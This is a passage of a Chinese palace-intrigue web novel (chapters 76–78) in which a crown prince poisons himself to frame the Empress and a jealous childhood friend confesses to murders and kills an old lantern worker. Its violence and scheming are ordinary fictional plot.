她会给银娘子房内多供些炭。 柳湛眼皮不抬：“下去办吧。” 他抱起殿里的七弦琴出门，也不打伞，走了没一会就衣发花白。萍萍住的园子后面有间小筑，平常无人，他上回就是穿小筑翻的窗。 柳湛走进小筑，取下琴套，起手奏琴，刚好对窗前一树红梅。 雪花乱舞，寒梅却开得正艳。花骨朵朵，梅香袅袅。 琴声悠悠飘进萍萍房中，夕照旋即就问：“谁在弹琴？” 还怪好听的。 “这什么曲子？”她又问。 萍萍抿唇望向窗外，她也不知道这是何曲，只觉十分应景，就像天地万物银装素裹，独有数朵红梅风刮不折，越严寒愈怒放。 她凝神也出神，竟从琴曲中听出寒梅迎霜傲雪之意。 挺过了数九寒天，便抱春来。 又觉飞雪绕梅，红白翩跹交缠，若情意绵绵。 夕照却是无感，良久挠头：“这人弹了几个时辰了？殿下呢？怎么还不来救你？” 第76章 第七十六章 “果然只有萍萍待我真心。…… 萍萍望着关紧的窗子， 嚅唇：“殿下应该不会来。” “不会来？为什么？”夕照不解，一直追问，萍萍没再回答。 之后太子果然不曾来， 萍萍和夕照一直关在房中。但一日三餐， 烧水换洗， 都有人开门递送，夕照和萍萍同吃同睡，按夕照的话讲， “这坐监除了闷， 别的都还行，不用做工， 人都胖了”！ 就这么一日一日过，某天夜里外面骤响轰隆，窗户倏亮，一朵朵花在窗纸上乍开乍灭。 小院这侧的窗户被反锁，夕照只能手触窗纸：“有人放烟火？今天是什么日子？” 每一天萍萍都有记：“今日是除夕。” “我们直接关到明年了？”夕照嘟囔，“那我不是见不到我家娘子了？除夕夜合该去见娘子和她团圆。” 萍萍望着窗外烟火白夜，瞧着遥远， 应该是在东宫外放。 除夕夜， 宫里也会像重阳那样开宴吧？ 殿下此刻应正处宴中…… 福宁宫家宴上， 端坐的柳湛忽然莫名其妙恍了下神。 团圆节庆官家都不会拘官员宗亲在宫里， 除夕和中秋一样，只开家宴。福宁宫有地龙，却仍在中央摆个炉子， 效仿士庶之家围炉团坐，共守新岁。 正演些应景戏，方才是金甲门神， 这会是钟馗捉鬼。七大王柳沛微微蹙眉，身子歪向柳湛那边：“六哥，今年这钟馗哪找的？” 柳湛笑道：“今年除夕夜皆是母后操办，我不知道。” “瘦了点，没钟馗那味了。”柳沛点评。 戏演完便到每年赐酒环节，先是官家赐酒，诸皇子一一接过，而后皇后赐酒，柳湛身为太子，率先上前，皇后将酒杯递至柳湛手边，殷切道：“娑罗奴，但入新年，愿百事皆如意，愿你新年胜旧年。” “谢母后，”柳湛满面笑意，仿若春风早来，“儿臣也愿母后圣体康泰，愿我们一家人长如此，岁岁年年，共欢同乐。” 说罢一饮而尽，再拜再谢，皇后急忙扶住他，柳湛见状也顺手搀扶皇后。旁人见母子俩热络，心道亲生的就是亲生的，皇后和太子母子连心，是旁的皇子皇女比不了的。 再比方说，皇后上回给每位皇子皇女都绣了一个香囊，到这会已许多人不戴，但太子始终佩戴腰间。 柳湛喝完酒晃了下身子，到自己座位时脚下又一绊。 “六哥你怎么了？”柳沛关切。 柳湛抿唇摇头。 太子之后就轮到柳沛接酒，正要上前，已坐下的柳湛重新站起来，向上首请奏：“陛下娘娘，儿臣身体不适，恳请恩准先行离席。” “怎么回事？”官家蹙眉正要追问，忽见柳湛抿唇鼓腮，似正 把什么东西往下咽，却控制不住，倾身呕出一口血来。 “六哥！” “殿下！” “娑罗奴！” 柳沛扶住柳湛，急呼太医，官家和皇后都匆匆从上首走下，官家眸光沉沉看向皇后：“怎么回事？” 皇后手揉着手：“臣妾哪里知道！” 柳湛仰面抬手，喘气道：“陛下，儿臣喝了酒后就觉五脏六腑绞痛，但恐陛下错怪母后，便想着请辞，可、可……是儿臣没有撑住，请陛下现在也不要责怪母后……” 他说话气若游丝，脸上身上皆是血，唇很快变得苍白，仿佛随时都会晕厥，却仍担心帝后失合，不愿母亲获罪。 旁边围观的好些人都被太子孝心感动，抬手抹眼泪。 官家沉道：“送太子回宫，好好医治！查不出原因让你们都掉脑袋！” 皇后则先后打量柳湛和官家一眼，在官家面前跪下。 官家愠声：“验酒！” 众内侍抬来一宽敞可躺的步舆，柳沛帮着把柳湛架上，他还想跟去东宫，贴身内侍扯了下七大王衣角，别多参与。 柳沛滞了一下，就这犹豫一霎，内侍已将太子抬走。 皇后才启唇出声：“陛下，臣妾什么也不知道，请陛下相信臣妾。” 官家沉默不语，半晌，柳湛喝过的酒杯和酒都被验过后重端上来，向官家展示：“陛下，酒中有毒，太子殿下是中毒了。” 良久伏跪的皇后旋即再出声：“不是臣妾做的，请陛下相信臣妾。” 官家只吩咐：“这毒可有解？” “有的有的，这毒解了就不会再吐血，修养时日，多能恢复。” “速通知东宫解毒。”官家摆手，“除了皇后，你们都退下。” 皇子公主们巴不得逃走，个个噤声退出，殿内只剩下沉默的帝后，一伫一跪，漫长死寂。 许久，官家缓缓启唇，似要说些什么，黄门慌慌张张跑进来：“陛下，殿下又吐血了！” 官家张目：“不是解毒了吗？” “殿下、殿下好像还中了别的毒！” 官家闻言甩开袖子：“摆驾东宫！” 皇后抬头分唇，对上官家视线，她站起来也跟着往东宫走，官家没有制止。 待进东宫寝殿，官家还未走至床前就怒问：“又是怎么回事？” 太医局来了二、三十名太医，黑压压跪倒一片，为首提举禀道：“回陛下，殿下寝殿近来一直熏的香是豆蔻、柑橘和甘草。” 官家面露不解：“这有什么问题？” 提举垂下脑袋，颤抖着双肩回：“但是殿下一直佩戴的香囊里是芜花，芜花与甘草药性相反，同用成毒。” 提举说着呈上香囊，抽绳拉开，里面除了几片苏叶白芷，全是芜花。 皇后制作香囊时的确揣了坏心思，但谋划的是天长日久，慢慢折磨，没缝这么多芜花，加上杯中酒，皇后想到现在还有什么不明白？ “陛下这不是臣妾制的香囊，有人想要栽赃臣妾！” 官人瞥向皇后，旁人也瞧，香囊上面绣着太子的属相蛟龙，针法独特，他日日佩戴，大伙都认得。 “殿下又吐血了！”床上柳湛又吐出一大口，彻底昏厥。官家三步并做两步到床前，被褥上血迹斑斑，官家也不管不顾，抓起柳湛右手呼唤：“娑罗奴？娑罗奴！”他催那一帮木头太医：“快、快来看看！” 太医们群策群力，却你看看我，我看看你，官家脸色难堪：“娑罗奴现下如何？如实禀来！” “回陛下，这香毒是随吐纳日日吸入的，已经慢浸殿下肺腑，一时半会难解。” “你的意思是，酒中毒为急性，属于立马取人性命，这香毒却是慢性，缠绵难愈？”官家的脸色阴沉得像要吃人。 他深吸了几口气，胸脯起伏，看向殿内角落里伏跪的东宫司寝宫人。 传令带近前，冷声审问：“用甘草熏香是谁的主意？” 那掌设才将代替萍萍铺床，没得意几日，瑟瑟发抖：“回、回陛下是殿下自己想熏橘香，然后宫中熏橘香都会搭配甘草……” “放肆！”官家一声怒斥，掌设底下淌出一道淡黄，竟是吓失禁了。 官家瞧见污秽，愈发震怒：“将她们都拖出去，杖毙！” 良久，柳湛才转醒，怔怔望着官家，缓抬右手，官家急忙抓住。皇后也欲近前：“娑罗奴……” 柳湛见她却是一愣，眼中满是难以置信、胆怯和难过，像只被猎人骗进陷阱的小鹿。 “娑罗奴，朕在这。” 官家提醒，柳湛才收回目光，缓缓重看官家，父子两手紧握，柳湛道：“孩儿方才好像到了什么黑黢黢的地方，前面烟雾弥漫，只一座桥，桥下许多哭声。孩儿不由自主就想往桥上走，忽听背后有人一声又一声唤孩儿小名，是爹爹的声音，孩儿想着止步回头，然后就眼前一亮，转醒过来。” 皇后在旁张嘴，呵，官家还能奈何桥救人？ 她终于维持不住面上表情，官家瞧在眼里，忍不住斥责：“三番五次下毒还不够？你又想对娑罗奴做什么？” “我下毒？”皇后手按心口，对视官家，“陛下请太子吃鹅掌菜，那不也和甘草性反成毒，那陛下是不是也在下毒？” 啪—— 官家一巴掌狠狠扇在皇后脸上，下令道：“将这个疯妇带下去，好生彻查！” 立马有禁卫近前，今日除夕宴，皇后穿的最隆重的牡丹大袖，一震袖袍：“不用押，老身会走！” 禁卫却只听令官家，仍旧将皇后两只胳膊缚住，拽出寝殿，皇后说了两声“陛下臣妾冤枉”便不再说，今日贴的珍珠面靥掉落数颗，霞帔和帔坠一路拖地，风冠歪斜。 待皇后走后，柳湛虚弱道：“父皇，儿臣不会听信皇后娘娘谗言，儿臣伴您用膳，是孝心。您请儿臣吃鹅掌菜，是爱子，只此一次，绝无加害之心。不像皇后娘娘，知道儿臣孝母，会日日佩戴香囊……”他停下来，连喘好几口气。 官家亦叹气：“算了，先别讲，好好休息，来日方长。” 柳湛却执拗摇头：“不行，这句话儿臣必须讲，皇后娘娘虽然犯下大错，但她到底是儿臣亲母，还望父皇对她网开一面……” 官家垂眼，分瞥左右，继而屏退内侍，殿门关闭，才讲：“好了别装了！” 柳湛依旧白脸白唇，是真中二毒，虚弱不堪，但眼神却比方才人前沉静，内里不见丝毫情意：“她始终以为儿臣和凌传道是一母同胞，挑拨儿臣去扬州，就是想看手足相残的笑话。” “去扬州那日儿臣已有预感，传道之后，下一个刀下亡魂就是儿臣。” 官家不语。 “她不会容忍那个女人的儿子活在世上。”柳湛沉眸，顿了顿，冷冷续道：“她恨那个女人，也恨你，父皇。” 官家沉吟，兔死狐悲的道理怎会不懂？ 柳湛一番说辞自然会考虑，但令他下决心的却是皇后说吃鹅掌菜。那日她明明不在场，看来她已监视他许久，这是官家忌讳，真触逆鳞。 官家拧眉：“朕会废了她。” * 虽被关在屋内，但萍萍和夕照仍要过年、守岁。夕照执钳添炭，萍萍无奈：“别再加啦，已经够暖和了，再烧要晕过去了。” 夕照笑道：“除夕就是要热乎啊。” “快透不过气啦！” 吱呀门开，萍萍和夕照一齐望去，深夜里，一众宫人拥簇着尚寝站在门口。 萍萍夕照都站起来行礼，尚寝摆摆手，催促：“别讲虚礼了，赶紧收拾收拾去服侍殿下。” 萍萍和夕照穿袍带幞头，萍萍总觉不安，路上忍不住问：“尚宫，殿下那边可是发生了什么事？” 尚寝快步前赶：“殿下中毒，呕血不止。” 萍萍心中一滞，手不自觉攥紧：“是谁下的毒？” “唉，寝殿金猊里投了毒，官家震怒，司设女史已俱杖毙，只剩下你们两个了。”已经到寝殿门口，司寝安排萍萍抱新被褥进去，“你们待会机灵点，殿里殿下被子上全是腥血，换的时候不该看的不看，不该问的不别人，也不要有什么大惊小怪神色。” 萍萍抱被跨入， 视线主动搜寻柳湛——他躺在床上，脸色灰白，青丝凌乱，手无力垂搭，眉头紧蹙似乎很疼。 柳湛缓慢喘出一口气，胸脯微微起伏。 虽然萍萍不会再像以前那样恨不得替他疼，但仍紧张担心，希望他快好起来。 柳湛虽然中毒，但武功未失，从家宴到寝殿，这么多人的呼吸吐纳里只有萍萍最紊乱，他能从她眸子里瞧见清澈透明，真正的在乎和担忧。思及官家皇后，众生面目，柳湛暗自激动：果然只有萍萍待他是真心！ 这一激动差点又呕血，萍萍快步扶住，柳湛的脸色更苍白，一点血色也没有。 他躺在床上，一眨不眨望着她，勉力也要挤出一笑。 萍萍正思忖嗅到的，未散尽的橘香。 为何重燃起这种香？ 这就是尚寝说的毒香？ 诸多疑问时，忽见柳湛那一笑，瞬间坚硬全化成柔软酸涩。 她扶柳湛挪身，好换被褥，却见床上放眼望去全是血迹，一床紫被竟成朱红。 萍萍心酸难受：“殿下怎么把自己弄成这样？” 柳湛握住她的手，她掌心一硬，被塞了什么东西，打开来看是颗红洒金纸包的新年糖。 柳湛笑看着她，双眸剪水：萍萍，新年快乐。 萍萍眼泪就涌上来，吸吸鼻子，别让自己掉泪。 她和夕照一起铺好干净被褥，扶柳湛躺下。夕照便要离开，萍萍朝夕照看去，却被柳湛拉了下手，萍萍静默须臾，在床沿坐下。 夕照离开宫人们也默默退出，殿内只余一对情人。 柳湛这才开口答话：“我中的是你上回种的那种毒，真的好疼。” 刚才对官家的描述没有撒谎，五脏六腑真就如被刀剜了以后再揪起来一绞。 他没有料到这样疼，切身体会后才知萍萍有多苦，接下来一句柳湛真心实意：“上回孤没护好，真是委屈我们萍萍了。” 第77章 第七十七章 “好萍萍！” 萍萍眼眶发热， 一下泪迷了眼：“不是说熏香中毒吗？怎么又变成跟我一样了？我那毒只能下在茶水里。” 中毒的柳湛迅速失水，嘴角微裂，喘气道：“孤中了两种毒， 一种被下在酒水里， 另一种是香囊里的芜花和熏香的甘草合用成毒。” 萍萍看他这么虚弱还耐心解释， 泪还是没忍住掉下来。 柳湛抬手为她拭泪，眼中全是心疼，萍萍心想纵有千万句怀疑和质问， 今晚都要放一放， 她又吸鼻，哽咽：“今晚我不走， 留下来陪你。” 她有经验，这毒解了后会一直出冷汗，打来热水给柳湛擦身，帕子拧了一遍又一遍，擦过耳后小痣，擦过光洁的腹部。 他有痣，却无疤， 萍萍一刹失神。 柳湛以为她是累了， 笑道：“你歇着吧， 我自己来。” 说着手撑着要坐起夺帕子， 萍萍扭头缩臂：“没事已经擦完了。”她将帕子再洗了晾着，调了杯温水，端到柳湛面前：“太医当时跟我说， 这毒失水多，要多喝水。” “好。”柳湛举杯要喝，萍萍又叮嘱：“喝慢点， 一口不要喝太多。” 柳湛慢饮慢咽，只觉这水不烫不冷，真是妥帖，从没喝过这么甜的白水。喝完倚着她笑，萍萍侧脸和脑袋挨脑袋：“坐会就躺下睡了，你要多躺，多歇息，才好得快。” 担心柳湛继续呕血，萍萍把枕头再垫高些，柳湛笑道：“不会呕的，我朝左侧睡了。” 左侧是面朝内对着帐子。 萍萍依然垫高：“快睡吧。” 柳湛躺着却扭头看她好几回，萍萍无奈笑：“我不走，守着你，不落帐子。” 柳湛这才扭回头睡。之前萍萍仅中一种毒都晕厥，柳湛身中两种，还要斡旋谋划，绞尽脑汁，消耗巨大，已至极限。 此刻绷紧的弦骤松，一闭眼便睡熟。 萍萍在床边站了会，上身前倾偷看他——帐中静谧，他的呼吸轻柔，眼皮沉阖，长黑睫毛，睡颜平和。 萍萍怕吵醒柳湛，小心翼翼直起身，不发出一点声音。 而后，蹑手蹑脚搬张圆凳在床边坐下。 半夜，柳湛醒来翻身，就见萍萍坐在凳上，手和脑袋都趴在床上，发髻有些凌乱，几根不服管教的青丝高高竖着。 柳湛心中一暖，却也心疼，撑手坐起，身倚床头借了一半床的力量，将她抱起也放到床上。柳湛挪了半边枕头给萍萍枕，盖一床被，他才不朝里侧睡了，朝外面，和她面对面。下半夜半宿无梦，虽然身弱体亏心里却圆满安宁。 萍萍和柳湛都睡得十分沉，天亮了也不知道，直到殿外响起争执。 “六哥、六哥！” “七大王您不能进去呀！” 门被柳沛和他的随侍一人一扇合力推开：“六哥、太子哥哥，你好点没有？” 柳沛直走到床前，才发现床。上躺的是两个人，身倏僵硬，血冲脑门。 柳湛比萍萍先醒，旋即坐起用被子盖住萍萍，因为用力，肋骨一痛，身往前倾。 柳沛以为太子还在呕血，隔空扶住：“六哥你没事吧？” 柳湛眸中并无多少暖意：“你不去赶朝会，到这里来作甚么？” 每年新年第一日都有诸国使节入贺，举办朝会。 “我心里记挂你，来瞧瞧你好点没有。”柳沛不假思索接口。往年朝会他都是和六哥一起去，那北方的蛮子小金花毡笠、战袍束带，比骑射时只有六哥能赢过他们，一马横过，十垛皆中红心。 “呜——”萍萍醒了，本能想起，却被柳湛按在被中。 柳沛这人主打哪好奇哪哪凑，立刻瞄了一眼被上突起蠕动处，心想，六哥身子都成这样了昨晚还能那样吗？ 柳湛看破，低声愠道：“你在想什么？” “没有没有没有。”柳沛似鱼吐泡泡般不断张合唇否，两手直摆。他本来想来看太子恢复如何，如果需要照料，会留下来搭把手，但现下俨然是不用了：“瞧见你好转我就放心了，那我先走了？啊对了——” 柳湛深吸口气，将被子一角低掀缝让萍萍透气，同时柳沛也瞧不着。 柳沛不敢再瞄，背对床榻续道：“——父皇禁了娘娘的足，兴许查清以后才会重开明仁宫放。 “你好好修养，我先走了！”柳沛再丢下一句话，脚底抹油消失不见。 殿门重关上后，柳湛才松手，萍萍立马掀开被子钻出来，长吁口气——她也不知道自己怎么就睡到床上了，衣衫不整，还好没被外男瞧着。 “刚才那人喊你六哥，他也是皇子吗？” “是，他是孤的七弟。” 萍萍点头，不甚在意。 这边柳沛一路脚跟不沾地下楼梯，最末两级干脆并作一步跳下。出了东宫，他才嘀咕：“原来这紫絮不是紫絮。” 柳沛放慢步子等自己的随侍，逢新年，两侧光秃秃的树杈上都扎着彩带，挂了灯笼。等随侍赶到身后，他不回头就问：“最近传言有个小宫婢爬了六哥的床，就是她吗？” “奴哪里知道。只听宫中皆传，那宫婢是太子殿下从江南千里迢迢带回来的。” “又带回一个？”柳沛脱口而出，下一霎赶紧闭嘴。前方有司苑司的宫人们在伐雪柳枝，一根根干得像柴，柳沛从旁绕过，回头确定那拨宫人已离得遥远，才吩咐随侍：“你去打听打听，她真正叫什么名字？” 肯定不是紫絮。 “殿下不会又要将人丢——” “怎么可能！”柳沛打断，“上回那女的是不认识，这回都熟人了，再说，本王那会才多大？少不经事，性子急躁，人一说就怒从心生，频出昏招，下手也没个轻重。” 内侍心道您现在也是心急气躁，混世魔王，嘴上却讨好：“殿下少年气盛，血气方刚，难免一二。” “对了，”柳沛停下脚叮嘱，“那件事务必继续烂在肚子里，把嘴给本王封牢了，听见没有？” “奴晓得，晓得。” 柳沛眼珠转动，当时年纪小完全没考虑后果，六哥要晓得了非 揍死自己。 柳沛脚下不由加快。 远处，司苑司宫人们仍伫原地，从伐下的秃枝里挑出绿芯的，捆成一束束，拿回屋中水培，昼夜燃蕴火生温气，待四、五日后，雪柳抽芽，再两日，白花绿叶，枯木逢春。 宫人们另外用汤气熏蒸了一些反季牡丹，并雪柳一道在立春这日，送进官家、诸位娘娘和皇子宫中。 柳湛这里得了不少，青釉的梅瓶，白釉的春瓶都有插满。 他已能下地行，萍萍觉得他比自己恢复得快，甚至有点健步如飞，正要询问柳湛去不去上朝，逢人探视，柳湛却即刻躺倒床上，仍旧病恹恹，仿佛随时都会断气。 萍萍欲言又止，等人走了，柳湛按着她的手说再等等。 等殿内的雪柳落了满地白，移出去换银柳蕙兰，殿内红彤彤一片。 等到元宵，殿里送进来一只百来颗琉璃珠串成的彩灯，坠饰着流苏金箔。 柳湛接过灯竿，亲递到萍萍手上。 “给我的？”萍萍问他，眼睛却始终凝视彩灯，看了这么会依旧目不暇接，眼花缭乱。 柳湛点头：“今日元宵，从宣德门往外会一顺铺设上彩灯山，夜晚金碧相射，锦绣交辉。彩扎的双龙，百丈棘盆，纸糊的百戏人物悬竿随风动，宛若飞仙。” 他私心喜爱每年的元宵灯会，便情不自禁想要和她分享，讲详细些。 萍萍想象了一下，流光溢彩。 柳湛又道：“大好的节庆，本该带你去瞧一瞧，逛逛汴京城，却委屈你拘在这里，陪我坐监。” 他方才瞟过窗外，宫里早上都在挂飞星灯，天黑以后如清河倒影，也算好看，却不及灯会热闹。 “明年吧。”萍萍抿了抿唇。 柳湛闻言缓缓扬高唇角，心淌暖意，是啊，他俩来日方长。 “殿下、殿下——”袁未罗火急火燎上殿，一时跑急没看脚下，在台阶上跌跤，站起来重跑，进殿大喘气，“殿下、殿下，陛下缴了皇后——”他卡了下，现在不能再呼皇后了，“陛下缴了娘娘玺绶，废除名号，出居长宁宫！” 柳湛脸上笑意立敛，殿内殿外全清了人，才让袁未罗详说，明仁宫中搜出柳湛所中之毒，官家说“后有过，毒害储君，动摇国本，不可再承天命”，将她废处并迁居冷宫，顺藤摸瓜，朝堂上大范小范大人亦参与此毒购置，范氏一门罢官黜爵，尽皆下狱。 袁未罗禀报完，也走了，殿内只余太子和萍萍。许是殿门关闭前吹进一阵寒风，萍萍背上冷，缩了缩肩，她想起“人不自害，受害必真；假真真假，间以得行”，这是《三十六计》里的话，人不会自己害自己，所以往往自害起来，受害才真，所以苦肉计最容易成。 这句话萍萍除夕夜就曾想过。 她与他日日相处，这一桩心思竟能在肚里咽十五日，不曾流露。她惊讶自己变了，不再心里有事就立马同他袒露、沟通。 柳湛含笑看向萍萍，她接下他的视线，挺直了背：“那日下雪，殿下对我弹琴明志，是不是就已料到这一日？” 柳湛瞬间明白她懂了，她什么都懂。 他俩真是心有灵犀。不，仅仅有灵犀还不够，他们是心心相印！ 柳湛来回走了两步，不知如何溢美她，右手成拳捶于左手掌上：“好萍萍！” 他的好萍萍。 已经得到肯定答案，萍萍却仍不可置信：“那酒里的毒真是你自己下的？” 那毒她经历过，剜心断肠，最痛那一霎想死的心都会生出，不想再经历第2回 。 柳湛却自己给自己下毒。 “是。”柳湛认下，“但芜花是她亲手缝进香囊，熏香也是她自个打听的，她本来就有心害孤。再则，她下毒害过你，所以明仁宫里才能翻出毒药，所以范家才有采购线索。如果他们不曾有害人之心，又怎么会被抓到把柄？”他侧了半身，面向萍萍，斩钉截铁：“说到底，是狐狸，才会露尾巴，自作的孽，不可活。” 当然，柳湛门清，依皇后的谨慎性子，必定料理过首尾，不会留下把柄，这是官家欲加之罪何患无辞。至于范氏一门，斩草须除根，依附皇后的莵丝肯定要一起拔除。 柳湛含笑看着萍萍，她一双杏眼太清亮了，很容易被人看穿心思，像她这样的人，这辈子都不可能杀人。 所以不能同她讲得太透太真。 但他也算为她报仇了，相信她能理解，柳湛想到这，凝眸萍萍，期待能从她眸中读到感激。 “可她不是殿下您的亲生母亲吗？何以、何以……”她说不下去。 柳湛浅勾嘴角：“你不是读过《左氏春秋》么？栾怀子没有作恶，他娘却因担心怀子坏她好事，就要杀子，”他的眸光越来越锐利，咬重语气：“栾怀子如果不反杀他的亲生母亲，死的就是他自己。孤如不先下手——”柳湛话顿了下，“死的不仅只孤，还有你。”他眯起眼轻叹，“孤不惧死，但想护你。” “那、那些被杖毙的宫人呢？您也算到这一环，所以才在除夕前故意惩罚我，将我和夕照拘起来？” 柳湛心中的鼓敲了下，一槌落，一槌起。 没错，他有算到，故意为之。 那帮宫人折辱萍萍，掌嘴、泼水，使小绊子，也许萍萍不在意，可他难受啊，她们没有一个死得冤的。 柳湛不想同萍萍闹不愉快，矢口否认：“孤是舍不得你挨一下大板或者戒尺，所以才禁足你，但孤没有想过顶替你的那些人会死。孤以为陛下会小惩效尤，像东宫的规矩一样，杖责不逾十。”柳湛停顿须臾，又急忙补充：“而且孤当时禁你足只想寻个由头，不曾教唆谁，没想到那掌设那般妒忌，竟掌掴你！” 想到这他就恨呐，那批已成亡魂的宫人大多瞧见萍萍落难，就想趁机顶替爬床。 他看萍萍后退半步，急忙上前将她拥住，编谎道：“其实那些宫人都是废后的眼线。” 萍萍抬头仰视柳湛，眸中俱是震惊。 她在他怀里了，他才踏实些，柳湛垂首与她四目凝睇，放柔语气：“她们虽然不是孤故意设计陷害，但终究因孤遇难，孤会为她们做一场法事超度。” 明明殿内地龙热到可以只穿一件薄衫，柳湛的掌心和胳膊贴着萍萍肌肤，也在源源不断传来热度，她却不知怎地打了个寒颤，浑身都起了鸡皮疙瘩。 * 废后的消息从宫中传至民间。 茶楼酒肆难免议论，但天家的事终究和平头老百姓关系不大，大多数汴京人连皇后名字都不知道，大伙聊一会就抛到脑后，心心念念的还是晚上的灯会，并未因此败兴。 今年除了双龙和百戏人物，又多一座比宣德门还高的灯山，用轱辘绞水上灯山最高处，木柜贮蓄，逐时放下，成一道灼灼流光的瀑布，名曰“银河”。 汴京人皆叹奇技淫巧，又传水火既济是祥瑞，本来戌时银河下面还都是观灯的人，到亥子间已全变成对着灯瀑跪下许愿的，甚至有人往水里掷铜板。 子时过后，百姓陆续归家，待丑时，热闹的汴京已完全回归宁静。侍诏们却要继续忙活，拆彩棚，花灯大拆小，小拆无，能留到明年的放进库里，用不了的运去郊区荒地，一把火烧光。 某位老侍诏今年已六十有一，本可以颐养天年，却贪这笔元宵的辛苦钱，郊外荒坡倒了一车，再 运一车，见有男子正挨个踢之前倒的飞星灯和绣球彩灯。 正是裴改之，脚力极大，每一脚都将原本扎劳的灯骨踢散架，竹篾和纸皮八方横飞。 他再转过身来，额头血管凸起，目眦欲裂，一张毫不掩饰的怒容。 今晚人人喜气洋洋，突然瞧着个异类，老侍诏关切：“大官人有何怒气啊？今晚不回去阖家团圆？” 裴改之冷勾嘴角：“家？” “对啊，大官人难道没有父母妻儿等在家中？” “我无父无母，孑然一身。” 老侍诏闻言恸动，自己也是个孤老，所以才一大把年纪半夜做工。老侍诏取来车上盛酒的葫芦，请裴改之喝。裴改之摆手拒绝，老侍诏就自己坐下来喝。 裴改之在他身旁席地而坐。 老侍诏侧首，张嘴一口酒气：“大官人就没有心仪的小娘子？趁年轻娶回去吧！” 自己就是年轻时不想娶亲，老了没个知冷知热的女人照顾自己。 裴改之眼尾挑起，嘴角泛笑：“有啊，我一直有一位，青梅竹马，两小无猜。” “那怎么没成亲呢？” 第78章 第七十八章 “她完全只属于我一个人。…… 老侍诏追问， 心道这后生一会说自己无父无母一个人，一会又有一起长大的小青梅，这不矛盾吗？ 这人不可信。 不过男人聊天时都爱夸大其词， 或者把自己描绘得特别凄惨， 也正常。老侍诏没深究， 夜里还是很冷，他拾了些花灯的竹骨做柴，在二人面前燃起取暖火堆。 “我们之间有些误会， 有人趁机钻空子， 拐走了萍萍。” “嚯，青天白日的怎么能拐人呢？还有没有王法？”老侍诏已经喝上头， 没明白裴改之说的是爱上他人，“还有，萍萍是谁？” “是我将来要成亲的娘子。” “哦。”老侍诏晕乎乎续问，“大官人是江南人吧？” “怎么看出来的？”裴改之沉声反问。 “你的官话一两句还好，讲多了就能听出江南口音。” 裴改之以舌抵腮，看来以后要更小心。 “江南哪里的呀？” 裴改之扭头注视老侍诏侧颜：“扬州。” “嚯，扬州好地方啊！” “是好地方。”裴改之倾身挑了只八角彩灯， “我和萍萍从小在扬州长大， 左右邻里都如亲人， 大伙日日聚一处， 自难割舍，她却为了那个人说离开就离开。”他一层层慢剥彩灯外面的纸皮：“我很担心她的安危，追来汴京， 却听见两个人在密谋，说要给他本就加了料的酒里再添点料。” “给她？他们要害你的小青梅？” “不是，是给拐走她的那个人。” 老侍诏一愣， 那不正好么？ 继而摇头，不行不能正好，做人不能太阴暗。 裴改之整个身子侧转，手搭在屈起的右腿膝盖上：“我听了一会，那酒喝下去竟可以让人忘却一切，真是天助我也，我毫不犹豫把酒换给萍萍。”他两侧嘴角高扬，容光焕发，在火光照耀的夜里十分吊诡：“她醒来以后，我会让她只瞧见我，这样她忘了所有人，就只认识我。” 老侍诏执着葫芦愣住。 “那人的母亲也晓得这事，答应我只要帮她杀了我们那些邻里，就把昏迷的萍萍送给我，保证萍萍醒来第一眼见的是我。我做到了，她却食言。”裴改之脸上由晴转阴，磨牙，自己擅长屏息、尾随，但对抗功夫差点，两两交手总输，要不然还需那老妖婆帮忙？ 老侍诏听他之前描述邻里，如亲人般难割舍，小青梅离开他都满腹埋怨，转瞬却能毫不留情把这些人都杀掉。 等等，这后生杀过人？ 老侍诏打了个寒颤，裴改之瞧在眼里，伸手搭上老侍诏肩头：“后来我调查了好几年，才晓得老妖婆阴得很，说什么为我考量，抹去了那些人，萍萍再无亲友，才真正完全属于我一人，其实她是为了自己的腌臜事，”裴改之的笑容与语气皆阴恻，“她从前与人私混过一段日子，野男人刚好是我和萍萍的邻居。老妖婆瞧见萍萍也瞧见了多年未见的老相好，提心吊胆，天天怕夫君知晓，然后拿我当刀使。” 不管过去多少年，裴改之一想到被皇后算计，就咬牙切齿，今夜听闻她被打入冷宫，成了废人，那他的仇，他的债，再去哪讨？ 裴改之顿觉自己是天下冤屈第一人，比那些报国无门的书生还愤懑，他在荒山野岭练剑，踢踹花灯，却仍无法泄，终于，遇到活人。 老侍诏已经吓得酒全醒了，明白后生吐露这么多，就没想过留活口。他想跑，却被裴改之摁住肩膀，不能动弹。裴改之噙笑用力，五指径直插进老侍诏肉里，老侍诏痛得哇哇直叫，不住讨饶，裴改之却像听不见，掏出一把飞刀慢慢剥，就像方才剥花灯那样。 是夜，京郊焚烧废弃花灯的诸多火堆里，有一堆燃得特别旺，熊熊火光冲天。 * 太子正月底康复，萍萍这才搬回自己厢房。 一进小院，就见院中石桌上铺呈纸墨，夕照和另两宫人各趴一边在商量什么。萍萍先喊她仨，她们才发现萍萍回来了，拥上来关切。接着，夕照从桌上拿来一张单子：“快、快填了！回得早不如回得巧，你再晚回一日都错过报名！” “报什么名？”萍萍旋即反问。 “司教司又要掖庭授业了！”夕照毫不掩饰脸上的兴奋，她便告诉萍萍，掖庭的授业和前朝男子上经筵日期一致，春季从二月至端午，秋季从八月至冬至，避开严寒酷暑。 但经筵是隔日一次，逢单双排早晚课，掖庭却是十日才一次课，一次一个时辰，错开当值。 “银照，你看看想报哪日的？”不同日子教授不同六艺。 “你报的哪日？”萍萍反问，果断道，“我和你一起上。” “那你跟我报丁日好了，是我家娘子授业。”夕照笑眯眯在萍萍那张单子上圈出丁字。 二月初三，龙抬头后一日，刚好是丁未。 天朗气清，萍萍和夕照结伴去司教司，一路都有冬日的阳光照背，十分温暖。萍萍心想这读书比上工轻松，严寒不读，酷暑也不读。她和夕照一说，夕照道：“那当然，我家娘子说万般皆下品，惟有读书 高！” 说起金娘子她又来了精神，一到授业的大堂 就拉萍萍去见金娘子，相互引荐兼登记名录。金娘子眉眼深邃，竟是位娇艳姿媚的大美人，若春和丽景。 “你就是银照吧，苔花儿常提起你。”金娘子一笑，更美了，屋内其他人都失却颜色。 “是、是，小的见过金司籍！”萍萍的视线完全没法从金娘子脸上挪开。 见过礼后，她凑到夕照耳边：“你家娘子好美。” “那当然，”夕照扬下巴，“我这辈子就没见过几个比娘子好看的。” 金娘子听见，轻斥：“苔花儿，不要妄言。” 夕照吐舌闭嘴。 金娘子温和道：“快坐下吧。” 大美人说的话萍萍情不自禁听从，就近坐在第一排，夕照拽了下萍萍袖子，悄悄告诉她，这座位是按女官品级排的，她们得坐到最后去。 萍萍赶紧跟夕照一起，躬身弯腰，贴墙绕到最后坐下。 